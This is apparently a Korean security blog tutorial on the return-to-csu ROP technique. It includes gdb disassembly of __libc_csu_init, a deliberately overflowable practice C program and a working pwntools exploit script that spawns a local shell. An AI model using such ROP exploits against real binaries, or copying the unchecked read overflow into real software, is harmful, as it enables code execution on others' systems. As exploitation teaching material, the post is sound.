return-to-csu는 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기술이다.
__libc_csu_init() 함수는 프로그램 실행 시
_init() 함수와 __preinit_array, __init_array 에 설정된 함수 포인터를 읽어서 함수를 호출한다.
gdb-peda$ disassemble __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x00000000004011a0 <+0>: endbr64
0x00000000004011a4 <+4>: push r15
0x00000000004011a6 <+6>: lea r15,[rip+0x2c63] # 0x403e10
0x00000000004011ad <+13>: push r14
0x00000000004011af <+15>: mov r14,rdx
0x00000000004011b2 <+18>: push r13
0x00000000004011b4 <+20>: mov r13,rsi
0x00000000004011b7 <+23>: push r12
0x00000000004011b9 <+25>: mov r12d,edi
0x00000000004011bc <+28>: push rbp
0x00000000004011bd <+29>: lea rbp,[rip+0x2c54] # 0x403e18
0x00000000004011c4 <+36>: push rbx
0x00000000004011c5 <+37>: sub rbp,r15
0x00000000004011c8 <+40>: sub rsp,0x8
0x00000000004011cc <+44>: call 0x401000 <_init>
0x00000000004011d1 <+49>: sar rbp,0x3
0x00000000004011d5 <+53>: je 0x4011f6 <__libc_csu_init+86>
0x00000000004011d7 <+55>: xor ebx,ebx
0x00000000004011d9 <+57>: nop DWORD PTR [rax+0x0]
0x00000000004011e0 <+64>: mov rdx,r14
0x00000000004011e3 <+67>: mov rsi,r13
0x00000000004011e6 <+70>: mov edi,r12d
0x00000000004011e9 <+73>: call QWORD PTR [r15+rbx*8]
0x00000000004011ed <+77>: add rbx,0x1
0x00000000004011f1 <+81>: cmp rbp,rbx
0x00000000004011f4 <+84>: jne 0x4011e0 <__libc_csu_init+64>
0x00000000004011f6 <+86>: add rsp,0x8
0x00000000004011fa <+90>: pop rbx
0x00000000004011fb <+91>: pop rbp
0x00000000004011fc <+92>: pop r12
0x00000000004011fe <+94>: pop r13
0x0000000000401200 <+96>: pop r14
0x0000000000401202 <+98>: pop r15
0x0000000000401204 <+100>: ret
End of assembler dump.
이 중 강의에 나온 gadget1 코드는 다음과 같다.
0x00000000004011fa <+90>: pop rbx
0x00000000004011fb <+91>: pop rbp
0x00000000004011fc <+92>: pop r12
0x00000000004011fe <+94>: pop r13
0x0000000000401200 <+96>: pop r14
0x0000000000401202 <+98>: pop r15
0x0000000000401204 <+100>: ret
스택의 값을 레지스터에 저장한다.
gadget2 코드는 다음과 같다.
0x00000000004011e0 <+64>: mov rdx,r14
0x00000000004011e3 <+67>: mov rsi,r13
0x00000000004011e6 <+70>: mov edi,r12d
0x00000000004011e9 <+73>: call QWORD PTR [r15+rbx*8]
레지스터를 활용해 함수를 호출한다.
(r14, r13, r12d를 인자로 r15+rbx*8 주소에 있는 함수를 실행한다)
가젯으로 활용할 두 코드 사이에 있는 코드를 보자.
0x00000000004011ed <+77>: add rbx,0x1
0x00000000004011f1 <+81>: cmp rbp,rbx
0x00000000004011f4 <+84>: jne 0x4011e0 <__libc_csu_init+64>
0x00000000004011f6 <+86>: add rsp,0x8
rbx += 1을 수행하고
rbp와 rbx를 비교해서 같지 않으면 __libc_csu_init+64로 분기한다.
분기하지 않도록 rbp에 1, rbx에 0을 할당해야 한다.
(근데 굳이 해줘야하나 싶지만 혹시 모르니 해주자)
[익스플로잇 시나리오]
1st ROP Chain
Use the write() function to extract the libc address stored in the __libc_start_main@GOT area.
Receive the following ROP code in the .bss area using the read() function.
write()함수로 libc 베이스를 구하고 .bss 영역에 read()함수로 쓴다.
2nd ROP Chain
"/bin/sh\x00"
Save "/bin/sh" to be passed as the first argument value of the execve() function in the "./bss" area.
JIT ROP - Use the write() function to output the libc file stored in memory.
Find the ROP Gadget you need in the output values.
Receive the following ROP code in the .bss area using the read() function.
read()함수로 .bss 영역에 "/bin/sh\x00"문자열을 박아둔다.
3th ROP Chain
Execute "/bin/sh" using the execve() system function.
박아둔 "/bin/sh\x00"문자열을 인자로 사용해 execve()함수를 호출한다.
실습에 사용된 예제 코드는 아래와 같다.
//gcc -no-pie -fno-stack-protector -o artc artc.c
#include <stdlib.h>
#include <unistd.h>
void win()
{
system("/bin/sh");
}
void (*ptr)() = win;
int main(void)
{
char buf[50];
read(0, buf, 0x500);
return 0;
}
PIE, Stack Protector옵션을 비활성화 했으므로 libc base 주소를 구할 필요 없이
오버플로우로 win() 함수만 실행시키면 된다.
main 함수를 디스어셈블한 코드는 아래와 같다.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x000000000040116d <+0>: endbr64
0x0000000000401171 <+4>: push rbp
0x0000000000401172 <+5>: mov rbp,rsp
=> 0x0000000000401175 <+8>: sub rsp,0x40
0x0000000000401179 <+12>: lea rax,[rbp-0x40]
0x000000000040117d <+16>: mov edx,0x500
0x0000000000401182 <+21>: mov rsi,rax
0x0000000000401185 <+24>: mov edi,0x0
0x000000000040118a <+29>: call 0x401060 <read@plt>
0x000000000040118f <+34>: mov eax,0x0
0x0000000000401194 <+39>: leave
0x0000000000401195 <+40>: ret
End of assembler dump.
rbp까지 거리는 0x40이다.
gadget1으로 레지스터를 아래와 같이 세팅해준다.
rbx: 0
rbp: 1
r12: 0
r13: 0
r14: 0
r15: ptr
최종 익스플로잇 코드는 아래와 같다.
from pwn import *
p = process('./artc')
e = ELF('./artc')
ptr = e.symbols['ptr']
gad1 = 0x4011fa
gad2 = 0x4011e0
pay = b'A'*0x48
pay += p64(gad1)
pay += p64(0) # rbx
pay += p64(1) # rbp
pay += p64(0) # r12
pay += p64(0) # r13
pay += p64(0) # r14
pay += p64(ptr) # r15
pay += p64(gad2)
p.send(pay)
p.interactive()
$ python rtc.py
[+] Starting local process './artc': pid 3510
[*] '/home/ssongk/pwn_ex/artc/artc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
$ id
uid=1000(ssongk) gid=1000(ssongk) groups=1000(ssongk)
레퍼런스
https://www.lazenca.net/display/TEC/01.Return-to-csu+%28feat.JIT+ROP%29+-+x64
https://aidencom.tistory.com/1008
'background > linux' 카테고리의 다른 글
[how2heap] House of Force (glibc 2.27) (0) | 2023.03.26 |
---|---|
Frame Pointer Overwirte (One Byte Overflow) (0) | 2023.03.26 |
[glibc-2.27] fwrite & fputs (1) | 2023.01.11 |
[glibc-2.27] fread & fgets (0) | 2023.01.09 |
[glibc-2.27] _IO_FILE & fopen (1) | 2023.01.07 |